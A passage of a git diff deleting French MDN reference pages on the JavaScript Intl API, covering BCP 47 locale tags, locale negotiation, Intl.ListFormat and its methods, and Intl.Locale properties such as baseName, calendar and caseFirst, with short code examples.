L'argument locales peut être soit une chaîne de caractères comportant une balise de langue BCP 47, soit un tableau de telles balises. Si l'argument n'est pas fourni ou est indéfini, la locale par défaut de l'environnement d'exécution est utilisée.

- -

Une balise de langue BCP 47 définit un langage et contient au minimum un code de langue principale. Dans sa forme la plus fréquente, elle peut contenir, dans l'ordre : un code de langue, un code de script et un code de pays ou de région, tous séparés par des tirets. Bien que la balise ne soit sensible à la casse, il est recommandé d'utiliser des initiales majuscules pour le code de script, des majuscules pour les codes de pays et de région, et des minuscules pour tout le reste.

- -

Exemples :

- -
    -
  • "hi" : Hindi (langue principale).
    • -
  • "de-AT" : Allemand tel qu'utilisé en Autriche (langue principale avec un code pays).
    • -
  • "zh-Hans-CN" : Le chinois écrit en caractères simplifiés tel qu'utilisé en Chine (langue principale avec des codes de script et de pays).
    • -
- -

Les sous balises identifiant les langues, les scripts, les pays (régions) et les variantes (rarement utilisées) dans les balises de langue BCP 47 peuvent être trouvées dans le registre IANA des Sous balises de Langues

- -

La BCP 47 permet également des extensions. Les fonctions d'internalisation de JavaScript utilisent l'extension "u" (Unicode), qui peut utilisée pour demander une personnalisation supplémentaire des objets {{jsxref("Collator")}}, {{jsxref("NumberFormat")}}, ou {{jsxref("DateTimeFormat")}}. Exemples :

- -
    -
  • "de-DE-u-co-phonebk" : utiliser la variante annuaire de l'ordre de tri allemand, qui décompose les voyelles infléchies (à umlaut) en paires de caractères : ä → ae, ö → oe, ü → ue.
    • -
  • "th-TH-u-nu-thai" : utiliser les chiffres thaïs (๐, ๑, ๒, ๓, ๔, ๕, ๖, ๗, ๘, ๙) dans le formatage des nombres.
    • -
  • "ja-JP-u-ca-japanese" : utiliser le calendrier japonais dans le formatage des dates et des heures, de sorte que 2013 soit exprimé comme l'an 25 de l'ère Heisei, ou 平成25.
    • -
  • "en-GB-u-ca-islamic" : utiliser l'anglais britannique avec le calendrier islamique (Hijri), où la date grégorienne 14 octobre 2017 est la date de l'ère de l'Hégire 24 Muharram,1439.
    • -
- -

Négociation de la locale

- -

L'argument locales, après retrait de toutes les extensions Unicode, est interprété comme une requête classée par priorité émanant de l'application. L'environnement d'exécution le compare aux locales dont il dispose et choisit la meilleure disponible. Il existe deux algorithmes d'association : l'apparieur "lookup" suit l'algorithme Lookup spécifié dans BCP 47; l'apparieur "meilleure correspondance" laisse l'environnement d'exécution fournir une locale qui est au moins aussi, mais possiblement mieux, adaptée à la demande que le résultat de l'algorithme Lookup. Si l'application ne fournit pas d'argument locales ou que l'environnement d'exécution ne dispose pas d'une locale qui corresponde à la requête, alors la locale par défaut de l'environnement d'exécution est utilisée. L'apparieur peut être choisi en utilisant une propriété de l'argument options (voir ci-dessous).

- -

Si la balise de la langue choisie comporte une sous chaîne d'extension Unicode, cette extension est maintenant utilisée pour personnaliser l'objet construit ou le comportement de la fonction. Chaque constructeur ou fonction ne supporte qu'un sous-ensemble des clés définies pour le extension Unicode, et les valeurs supportées dépendent souvent de la balise de langue. Par exemple, la clé "co" (collation) n'est supportée que par le constructeur {{jsxref("Collator")}}, et sa valeur "phonebk" n'est supportée que pour l'allemand.

- -

Argument options

- -

L'argument options doit être un objet ayant des propriétés qui varient suivant qu'il s'agit des constructeurs ou des fonctions. Si l'argument options n'est pas fourni ou est indéfini, des valeurs par défaut seront utilisées pour toutes les propriétés.

- -

Une propriété est supportée par tous les constructeurs et toutes les fonctions fondés sur les locales : la propriété localeMatcher, dont la valeur doit être la chaîne "lookup" ou "best fit", et qui sélectionne l'un des algorithmes d'appariement décrits ci-dessus.

- -

Exemples

- -

Formater des dates et nombres

- -

Vous pouvez utiliser Intl pour formater des dates et nombres dans un format qui est conventionnel pour une langue et une région spécifiques :

- -
const compte = 26254.39;
-const date = new Date("2012-05-24");
-
-function afficher (langue) {
-  console.log(
-    `${new Intl.DateTimeFormat(langue).format(date)} ${new Intl.NumberFormat(langue).format(compte)}`
-  );
-}
-
-afficher("en-US");
-// résultat attendu : 5/24/2012 26,254.39
-
-afficher("de-DE");
-// résultat attendu : 24.5.2012 26.254,39
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-8', 'Intl')}}{{Spec2('ES Int 1.0')}}Définition initiale.
{{SpecName('ES Int 2.0', '#sec-8', 'Intl')}}{{Spec2('ES Int 2.0')}}
{{SpecName('ES Int Draft', '#intl-object', 'Intl')}}{{Spec2('ES Int Draft')}}Ajout de Intl.getCanonicalLocales dans la 4e édition.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl")}}

- -

Voir aussi

- -
    -
  • Introduction : 'The ECMAScript Internationalisation API
    • -
  • Constructeurs -
      -
    • {{jsxref("Collator", "Intl.Collator")}}
      • -
    • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
      • -
    • {{jsxref("ListFormat", "Intl.ListFormat")}}
      • -
    • {{jsxref("NumberFormat", "Intl.NumberFormat")}}
      • -
    • {{jsxref("PluralRules", "Intl.PluralRules")}}
      • -
    • {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}
      • -
    • {{jsxref("Locale", "Intl.Locale")}}
      • -
    -
    • -
  • Méthodes -
      -
    • {{jsxref("String.prototype.localeCompare()")}}
      • -
    • {{jsxref("Number.prototype.toLocaleString()")}}
      • -
    • {{jsxref("Date.prototype.toLocaleString()")}}
      • -
    • {{jsxref("Date.prototype.toLocaleDateString()")}}
      • -
    • {{jsxref("Date.prototype.toLocaleTimeString()")}}
      • -
    -
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/format/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/format/index.html deleted file mode 100644 index 330767cb8c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/format/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Intl​.ListFormat.prototype​.format() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat/format -tags: - - Internationalisation - - Intl - - JavaScript - - ListFormat - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat/format ---- -
{{JSRef}}
- -

La méthode format() renvoie une chaîne de caractères représentant la liste passée en argument, mise en forme selon la langue choisie (lors de la construction de l'objet Intl.ListFormat).

- -
{{EmbedInteractiveExample("pages/js/intl-listformat.html")}}
- -

Description

- -

La méthode format() renvoie une chaîne de caractères qui a été formatée en fonction des paramètres fournis à l'objet Intl.ListFormat. Les paramètres locales et options permettent de personnaliser le comportement de format() et de gérer différentes conventions linguistiques au sein d'une application, notamment pour la mise en forme des listes.

- -

Syntaxe

- -
listFormat.format([list]);
- -

Paramètres

- -
-
list
-
Un objet itérable (ex. un tableau / {{jsxref("Array")}}).
-
- -

Valeur de retour

- -

Une chaîne de caractères représentant les éléments de la liste et mise en forme en fonction de la langue souhaitée (grâce au paramètre locales passé au constructeur Intl.ListFormat).

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.ListFormat.prototype.formatProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.ListFormat.format")}}

- -

Voir aussi

- -
    -
  • {{jsxref("ListFormat", "Intl.ListFormat")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/formattoparts/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/formattoparts/index.html deleted file mode 100644 index fb3abe8afd..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/formattoparts/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Intl​.List​Format​.prototype​.formatToParts() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat/formatToParts -tags: - - Internationalisation - - Intl - - JavaScript - - ListFormat - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat/formatToParts ---- -
{{JSRef}}{{Draft}}
- -

La méthode Intl.ListFormat.prototype.formatToParts() renvoie un tableau ({{jsxref("Array")}}) d'objets représentants les différentes composantes de la chaine de caractères qui est le résultat du formatage de la liste (selon les options de locale et de style indiquées).

- -

Syntaxe

- -
Intl.ListFormat.prototype.formatToParts(list)
-
- -

Paramètres

- -
-
list
-
Un tableau ({{jsxref("Array")}}) de valeurs à mettre en forme selon une locale et des options de style.
-
- -

Valeur de retour

- -

Un tableau ({{jsxref("Array")}}) de fragments composants la chaîne de caractères pour la liste formatée.

- -

Description

- -

Alors que la méthode {{jsxref("ListFormat.prototype.format()", "Intl.ListFormat.prototype.format()")}} renvoie une chaîne de caractères avec la liste formatée (en fonction de la locale et des options de style), formatToParts() renvoie un tableau des différentes composantes de cette chaîne.

- -

Chaque élément du tableau résultant possède deux propriétés : type et value. La propriété type pourra valoir "element" (pour indiquer une valeur de la liste) ou "literal" (pour indiquer un élément linguistique). La propriété value fournit quant à elle le contenu du fragment sous forme d'une chaîne de caractères.

- -

Les options de locale et de style utilisées pour le formatage sont fournies lors de la construction de l'instance {{jsxref("ListFormat", "Intl.ListFormat")}}.

- -

Exemples

- -
const fruits = ['Apple', 'Orange', 'Pineapple'];
-const myListFormat = new Intl.ListFormat('en-GB', { style: 'long', type: 'conjunction' });
-
-console.table(myListFormat.formatToParts(fruits));
-// [
-//  { "type": "element", "value": "Apple" },
-//  { "type": "literal", "value": ", " },
-//  { "type": "element", "value": "Orange" },
-//  { "type": "literal", "value": ", and " },
-//  { "type": "element", "value": "Pineapple" }
-// ]
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Intl.ListFormat.prototype.formatToParts proposalStage 3
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.ListFormat.formatToParts")}}

- -

Voir aussi

- -
    -
  • {{jsxref("ListFormat", "Intl.ListFormat")}}
    • -
  • {{jsxref("ListFormat.prototype.format()", "Intl.ListFormat.prototype.format()")}}
    • -
  • {{jsxref("RelativeTimeFormat.formatToParts()", "Intl.RelativeTimeFormat.prototype.formatToParts()")}}
    • -
  • {{jsxref("NumberFormat.formatToParts()", "Intl.NumberFormat.prototype.formatToParts()")}}
    • -
  • {{jsxref("DateTimeFormat.formatToParts()", "Intl.DateTimeFormat.prototype.formatToParts()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/index.html deleted file mode 100644 index 03dac95c7f..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/index.html +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: Intl.ListFormat -slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat -tags: - - Experimental - - Internationalisation - - Intl - - JavaScript - - ListFormat - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat ---- -
{{JSRef}}
- -

L'objet Intl.ListFormat est un constructeur d'objets qui permettent de formater des listes de façon différente selon la langue utilisée.

- -
{{EmbedInteractiveExample("pages/js/intl-listformat.html")}}
- - - -

Syntax

- -
new Intl.ListFormat([locales[, options]])
-
- -

Paramètres

- -
-
locales{{optional_inline}}
-
-

Paramètre optionnel. Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument locales, voir la page {{jsxref("Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}.

-
-
options{{optional_inline}}
-
-

Paramètre optionnel. Un objet avec certaines ou toutes les propriétés suivantes :

- -
-
localeMatcher
-
L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont "lookup" et "best fit" ; le défaut est "best fit". Pour des informations sur cette option, voir la page {{jsxref("Intl","Intl","##Choix_de_la_locale")}}.
-
type
-
Le format de sortie pour le message. Les valeurs possibles sont : -
    -
  • "conjunction" : qui concaténera les éléments de la liste avec des et. Cela produira par exemple, en anglais : A, B, and C
    • -
  • "disjunction" : qui concaténera les éléments de la liste avec des ou. Cela produira par exemple, en anglais : A, B, or C
    • -
  • "unit" : qui permet de gérer des listes de valeurs avec des unités. Cela produira par exemple 5 livres, 12 onces
    • -
-
-
style
-
Le niveau de concision/longueur du message obtenu. Les valeurs possibles sont : -
    -
  • "long" : par exemple A, B, and C
    • -
  • "narrow" : cette valeur permet uniquement d'utiliser le type unit et affichera un message concis : par exemple A, B, C
    • -
  • "short" : par exemple A, B, C
    • -
-
-
-
-
- -

Description

- -

Propriétés

- -
-
{{jsxref("ListFormat.prototype", "Intl.ListFormat.prototype")}}
-
Cette propriété permet d'ajouter des propriétés à l'ensemble des objets de ce type.
-
- -

Méthodes

- -
-
{{jsxref("ListFormat.supportedLocalesOf", "Intl.ListFormat.supportedLocalesOf()")}}
-
Cette méthode renvoie un tableau des locales prises en charge par le moteur pour le formatage des heures sans qu'il y ait besoin d'utiliser la locale de l'environnement d'exécution.
-
- -

Instances de Intl.ListFormat

- -

Toutes les instances de Intl.ListFormat héritent de Intl.ListFormat.prototype.

- -

Propriétés

- -
-
Intl.ListFormat.prototype.constructor
-
Définit la fonction qui crée le prototype d'un objet.
-
- -

Méthodes

- -
-
{{jsxref("ListFormat.prototype.format","Intl.ListFormat.prototype.format()")}}
-
Renvoie une chaîne de caractères mise en forme selon la langue voulue et qui représente les éléments de la liste.
-
- -

Exemples

- -

Utiliser format()

- -

Dans l'exemple qui suit, on voit comment créer un formateur de liste pour l'anglais.

- -
const list = ['Motorcycle', 'Bus', 'Car'];
-
- console.log(new Intl.ListFormat('en-GB', { style: 'long', type: 'conjunction' }).format(list));
-// > Motorcycle, Bus and Car
-
- console.log(new Intl.ListFormat('en-GB', { style: 'short', type: 'disjunction' }).format(list));
-// > Motorcycle, Bus or Car
-
- console.log(new Intl.ListFormat('en-GB', { style: 'narrow', type: 'unit' }).format(list));
-// > Motorcycle Bus Car
-
- -

Utiliser formatToParts()

- -

Dans l'exemple qui suit, on voit comment créer un formateur de liste, renvoyant les fragments, pour l'anglais

- -
const list = ['Motorcycle', 'Bus', 'Car'];
-console.log(new Intl.ListFormat('en-GB', { style: 'long', type: 'conjunction' }).formatToParts(list));
-
-// > [ { "type": "element", "value": "Motorcycle" },
-       { "type": "literal", "value": ", " },
-       { "type": "element", "value": "Bus" },
-       { "type": "literal", "value": ", and " },
-       { "type": "element", "value": "Car" } ];
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.ListFormatProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.ListFormat")}}

- -

Voir aussi

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl', 'Voir_aussi')}}
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/prototype/index.html deleted file mode 100644 index 1aab6a459d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/prototype/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Intl.ListFormat.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat/prototype -tags: - - Experimental - - Intl - - Intl.ListFormat - - JavaScript - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat -translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat/prototype ---- -
{{JSRef}}
- -

La propriété Intl.ListFormat.prototype représente l'objet prototype utilisé par le constructeur {{jsxref("ListFormat", "Intl.ListFormat")}}.

- -

{{js_property_attributes(0, 0, 0)}}

- -

Description

- -

Voir la page {{jsxref("ListFormat")}} pour une description des instances de Intl.ListFormat.

- -

Les instances {{jsxref("ListFormat", "Intl.ListFormat")}} héritent de Intl.ListFormat.prototype. Les modifications apportées au prototypes seront héritées par les instances {{jsxref("ListFormat", "Intl.ListFormat")}}.

- -

Propriétés

- -
-
Intl.ListFormat.prototype.constructor
-
Une référence à {{jsxref("ListFormat", "Intl.ListFormat()")}}.
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.ListFormat.prototypeProposition de niveau 3 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.ListFormat.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("ListFormat", "Intl.ListFormat")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/resolvedoptions/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/resolvedoptions/index.html deleted file mode 100644 index 3b0f36ea4e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/resolvedoptions/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Intl​.List​Format​.prototype​.resolvedOptions() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat/resolvedOptions -tags: - - Internationalisation - - Intl - - JavaScript - - ListFormat - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat/resolvedOptions ---- -
{{JSRef}}{{Draft}}
- -

La méthode  Intl.ListFormat.prototype.resolvedOptions() renvoie un nouvel objet dont les propriétés reflètent les options de locale et de style calculées à l'initialisation de l'objet {{jsxref("ListFormat")}}.

- -

Syntaxe

- -
listFormat.resolvedOptions()
- -

Valeur de retour

- -

Un nouvel objet dont les propriétés reflètent les options de locale et de style calculées lors de l'initialisation de l'objet {{jsxref("ListFormat")}}.

- -

Description

- -

L'objet renvoyé par resolvedOptions() possède les propriétés suivantes :

- -
-
locale
-
La balise de langue BCP 47 qui est réellement utilisée. Si des extensions Unicode étaient fournies avec la balise d'origine et sont supportées pour la locale utilisée, les paires de clés-valeurs seront incluses dans locale.
-
style
-
La valeur fournie au constructeur via l'argument options ou la valeur utilisée par défaut ("long"). Cette propriété peut valoir "long", "short" ou "narrow".
-
type
-
La valeur fournie au constructeur via l'argument options ou la valeur par défaut ("conjunction"). Cette propriété peut valoir "conjunction", "disjunction" ou "unit".
-
- -

Exemples

- -
const deListFormatter = new Intl.ListFormat("de-DE", { style: "short" });
-
-const usedOptions = de.resolvedOptions();
-console.log(usedOptions.locale); // "de-DE"
-console.log(usedOptions.style);  // "short"
-console.log(usedOptions.type);   // "conjunction" (la valeur par défaut)
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.ListFormat.prototype.resolvedOptions()Proposition de niveau 3
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.ListFormat.resolvedOptions")}}

- -

Voir aussi

- -
    -
  • {{jsxref("ListFormat", "Intl.ListFormat")}}
    • -
  • {{jsxref("NumberFormat.prototype.resolvedOptions()", "Intl.NumberFormat.prototype.resolvedOptions()")}}
    • -
  • {{jsxref("Collator.prototype.resolvedOptions()", "Intl.Collator.prototype.resolvedOptions()")}}
    • -
  • {{jsxref("DateTimeFormat.prototype.resolvedOptions()", "Intl.DateTimeFormat.prototype.resolvedOptions()")}}
    • -
  • {{jsxref("PluralRules.prototype.resolvedOptions()", "Intl.PluralRules.prototype.resolvedOptions()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/supportedlocalesof/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/listformat/supportedlocalesof/index.html deleted file mode 100644 index 90abe4f56d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/listformat/supportedlocalesof/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Intl.ListFormat.supportedLocalesOf() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/ListFormat/supportedLocalesOf -tags: - - Intl - - JavaScript - - ListFormat - - Méthode - - Reference - - i18n -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/ListFormat/supportedLocalesOf ---- -
{{JSRef}}
- -

The Intl.ListFormat.supportedLocalesOf() renvoie, parmi les locales fournies, un tableau contenant les locales supportées pour le formatage des listes et qui ne nécessitent pas d'utiliser la locale par défaut de l'environnement.

- -

Syntaxe

- -
Intl.ListFormat.supportedLocalesOf(locales[, options])
- -

Paramètres

- -
-
locales
-
Une chaîne de caractères qui est une balise de langue BCP 47 ou bien un tableau de telles chaînes. Pour plus d'informations concernant la forme générale de l'argument locales, voir la page {{jsxref("Objets_globaux/Intl", "Intl", "#L'identification_et_le_choix_de_la_locale")}}.
-
options{{optional_inline}}
-
-

Paramètre facultatif. Un objet qui peut posséder les propriétés suivantes :

- -
-
localeMatcher
-
-

L'algorithme utilisé pour la correspondance entre chaînes de caractères. Les valeurs possibles sont "lookup" et "best fit". La valeur par défaut est "best fit". Pour plus d'informations, voir la page {{jsxref("Objets_globaux/Intl", "Intl", "#Choix_de_la_locale")}}.

-
-
-
-
- -

Valeur de retour

- -

Un tableau de chaînes de caractères qui représente un sous-ensemble des balises de langues qui sont prises en charge pour le formatage des listes sans qu'il faille utiliser la locale par défaut de l'environnement d'exécution.

- -

Description

- -

Cette méthode renvoie un tableau qui est un sous-ensemble des balises de locales fournies avec l'argument locales. Les balises renvoyées sont celles supportées par l'environnement navigateur en termes de formatage des listes et qui ne nécessitent pas d'utiliser la locale par défaut.

- -

Exemples

- -

Utiliser supportedLocalesOf

- -

Si on dispose d'un environnement (un navigateur par exemple) qui supporte le formatage des listes dans les locales indonésienne, allemande mais pas balinaise,  supportedLocalesOf renvoie les balises pour l'indonésien et l'allemand quand bien même le formatage des listes pinyin n'est pas utilisée avec l'indonésien et qu'il n'existe pas une version spécifique de l'allemand pour l'Indonésie. On illustre ici l'algorithme "lookup". SI on utilisait "best fit" pour trouver les locales correspondantes, on aurait pu avoir une balise supplémentaire pour le balinais en plus car la plupart des balinais comprennent l'indonésien.

- -
const locales = ['ban', 'id-u-co-pinyin', 'de-ID'];
-const options = { localeMatcher: 'lookup' };
-console.log(Intl.ListFormat.supportedLocalesOf(locales, options).join(', '));
-// → "id-u-co-pinyin, de-ID"
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.ListFormat.supportedLocalesOfProposition de niveau 3 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.ListFormat.supportedLocalesOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("ListFormat", "Intl.ListFormat")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/basename/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/basename/index.html deleted file mode 100644 index 6b20ebee57..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/locale/basename/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Intl.Locale.prototype.baseName -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/baseName -tags: - - Internationalisation - - Intl - - JavaScript - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/baseName ---- -
{{JSRef}}
- -

La propriété Intl.Locale.prototype.baseName renvoie un extrait de la chaîne de caractères représentant l'objet Locale. Cet extrait contient les informations essentielles à propos de l'objet Locale.

- -

Description

- -

Un objet Intl.Locale représente une locale ainsi que des options qui lui sont associées. La propriété baseName renvoie des informations essentielles quant à la locale sous la forme d'une chaîne de caractères. Cette chaîne est un extrait de la représentation textuelle complète de l'objet Locale. Cet extrait contient notamment la langue, le script utilisé ainsi que la région (s'ils sont disponibles).

- -

Si on utilise la grammaire Unicode, baseName renvoie la sous-séquence language ["-" script] ["-" region] *("-" variant).

- -

Exemples

- -

Exemple simple

- -
let myLoc = new Intl.Locale("fr-Latn-CA"); // Sets locale to Candanian French
-console.log(myLoc.toString()); // Prints out "fr-Latn-CA-u-ca-gregory"
-console.log(myLoc.baseName); // Prints out "fr-Latn-CA"
- -

Exemple avec certaines options

- -
// Sets language to Japanese, region to Japan,
-
-// calendar to Gregorian, hour cycle to 24 hours
-let japan = new Intl.Locale("ja-JP-u-ca-gregory-hc-24");
-console.log(japan.toString()); // Prints out "ja-JP-u-ca-gregory-hc-h24"
-console.log(japan.baseName); // Prints out "ja-JP"
- -

Exemple avec options qui surchargent

- -
// Input string indicates language as Dutch and region as Belgium,
-
-// but options object overrides the region and sets it to the Netherlands
-let dutch = new Intl.Locale("nl-Latn-BE", {region: "NL"});
-
-console.log(dutch.baseName); // Prints out "nl-Latn-NL"
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.baseNameProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -
{{Compat("javascript.builtins.Intl.Locale.baseName")}}
- -

Voir aussi

- -
    -
  • {{jsxref("Locale", "Intl.Locale")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/calendar/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/calendar/index.html deleted file mode 100644 index cbe7f8db93..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/locale/calendar/index.html +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: Intl.Locale.prototype.calendar -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/calendar -tags: - - Internationalisation - - Intl - - JavaScript - - Locale - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/calendar ---- -
{{JSRef}}
- -

La propriété Intl.Locale.prototype.calendar est une propriété (via un accesseur) qui renvoie le type de calendrier utilisé par l'instance de Locale.

- -

Description

- -

La propriété calendar renvoie la partie de la locale qui indique le calendrier utilisé. Bien que la plupart des régions utilise le calendrier grégorien, il existe différents calendriers utilisés. Le tableau qui suit indique les clés Unicode pour les différents calendriers ainsi qu'une description.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Clés Unicode pour les calendriers
Clé UnicodeDescription
buddhistCalendrier bouddhiste
chineseCalendrier chinois traditionnel
copticCalendrier copte
dangiCalendrier coréen traditionnel
ethioaaCalendrier éthiopique, Amete Alem (an 0 situé environ à  5493 ans avant notre ère)
ethiopicCalendrier éthiopique, Amete Mihret (an 0 situé environ à 8 ans de notre ère)
gregoryCalendrier grégorien
hebrewCalendrier traditionnel hébreux
indianCalendrier indien
islamicCalendrier islamique
islamic-umalquraCalendrier islamique, Umm al-Qura
islamic-tblaCalendrier islamique tabulaire (années intercalaires [2,5,7,10,13,16,18,21,24,26,29] - origine des temps astronomique)
islamic-civilCalendrier islamique tabulaire (années intercalaires [2,5,7,10,13,16,18,21,24,26,29] - origine des temps civile)
islamic-rgsaCalendrier islamique vu de l'Arabie saoudite
iso8601Calendrier ISO (calendrier grégorien utilisant la numérotation des semaines ISO 8601)
japaneseCalendrier japonais impérial
persianCalendrier perse
rocCalendrier de la République de Chine
-
La clé  islamicc est désormais dépréciée et il faut utiliser islamic-civil à la place.
- -

islamicc

- 		Calendrier arabe civil (algorithmique)
- -

Exemples

- -

Indiquer le calendrier via la chaîne de définition de la locale

- -

Les calendriers font partie des « clés d'extension ». Ces clés permettent d'ajouter des informations supplémentaires aux locales et sont ajoutées via l'extension -u. Ainsi, on peut indiquer le calendrier utilisé via la chaîne de locale passée comme argument au constructeur {{jsxref("Locale", "Intl.Locale")}}. Pour ce faire, on ajoutera d'abord -u à la chaîne « courte » de la locale puis -ca afin d'indiquer qu'on précise le calendrier et enfin la chaîne représentant la clé du calendrier.

- -
let frBuddhist = new Intl.Locale("fr-FR-u-ca-buddhist");
-console.log(frBuddhist.calendar); // affiche "buddhist" dans la console
- -

Spécifier un calendrier grâce à un objet de configuration

- -

Le constructeur {{jsxref("Locale", "Intl.Locale")}} peut utiliser un argument optionnel qui est un objet permettant de configurer la locale via différentes extensions dont les calendriers. En utilisant la propriété calendar de cet objet, on définit le calendrier qui sera utilisé :

- -
let frBuddhist = new Intl.Locale("fr-FR", {calendar: "buddhist"});
-console.log(frBuddhist.calendar); // affiche "buddhist" dans la console
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.Locale.prototype.calendarProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/locale/casefirst/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/locale/casefirst/index.html deleted file mode 100644 index 7403262d3d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/locale/casefirst/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Intl.Locale.prototype.caseFirst -slug: Web/JavaScript/Reference/Objets_globaux/Intl/Locale/caseFirst -tags: - - Internationalisation - - Intl - - JavaScript - - Locale - - Propriété - - Reference - - Unicode -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Locale/caseFirst ---- -
{{JSRef}}
- -

La propriété Intl.Locale.prototype.caseFirst est une propriété (via un accesseur) qui renvoie si la casse est prise en compte par la locale pour ses règles de collation (celles qui permettent d'ordonner des chaînes de caractères entre elles).

- -

Description

- -

Les règles de collation des locales sont utilisées afin de déterminer la façon dont les chaînes sont ordonnées pour cette locale. Certaines locales utilisent la casse (minuscule ou majuscule) dans ce processus de collation. Cette règle peut être exprimée via la propriété caseFirst d'une instance Locale.

- -

Cette propriété peut avoir une des 3 valeurs suivantes :

- - - - - - - - - - - - - - - - - - - - - - - -
Valeurs pour caseFirst
ValeurDescription
upperLes majuscules devraient être triées avant les minuscules.
lowerLes minuscules devraient être triées avant les majuscules.
falseLa casse n'a pas d'importance pour le tri des chaînes.
- -

Exemples

- -

Définir caseFirst grâce à la chaîne de description de la locale

- -

